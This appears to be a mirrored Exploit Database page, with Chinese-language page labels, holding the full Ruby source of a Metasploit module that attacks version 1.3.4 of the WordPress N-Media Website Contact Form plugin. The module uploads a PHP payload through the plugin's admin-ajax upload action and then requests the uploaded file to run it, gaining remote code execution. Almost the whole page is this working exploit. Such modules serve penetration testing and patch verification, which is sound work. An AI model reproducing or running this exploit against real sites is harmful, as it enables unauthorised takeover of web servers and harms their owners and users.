WordPress Plugin N-Media Website Contact Form – Arbitrary File Upload (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2015-04-21
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36810/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability',
  'Description'=> %q{
  This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form
  plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.
  },
  'Author' =>
  [
  'Claudio Viviani', # Vulnerability discovery
  'Roberto Soares Espreto <robertoespreto[at]gmail.com>'# Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
  ['WPVDB', '7896']
  ],
  'Privileged' => false,
  'Platform' => 'php',
  'Arch' => ARCH_PHP,
  'Targets'=> [['N-Media WebSite Contact Form 1.3.4', {}]],
  'DisclosureDate' => 'Apr 12 2015',
  'DefaultTarget'=> 0)
  )
  end
  
  def check
  check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
  end
  
  def exploit
  php_pagename = rand_text_alpha(4 + rand(4)) + '.php'
  
  data = Rex::MIME::Message.new
  data.add_part('upload', nil, nil, 'form-data; name="action"')
  data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"")
  data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"')
  post_data = data.to_s
  
  res = send_request_cgi({
  'uri' => wordpress_url_admin_ajax,
  'method'=> 'POST',
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> post_data
  })
  
  if res
  if res.code == 200 && res.body =~ /filename/
  begin
  new_php_pagename = JSON.parse(res.body)["filename"]
  rescue JSON::ParserError
  fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename')
  end
  print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
  register_files_for_cleanup(new_php_pagename)
  else
  fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
  end
  else
  fail_with(Failure::Unknown,'ERROR')
  end
  
  print_status("#{peer} - Calling payload...")
  send_request_cgi(
  'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename)
  )
  end
  end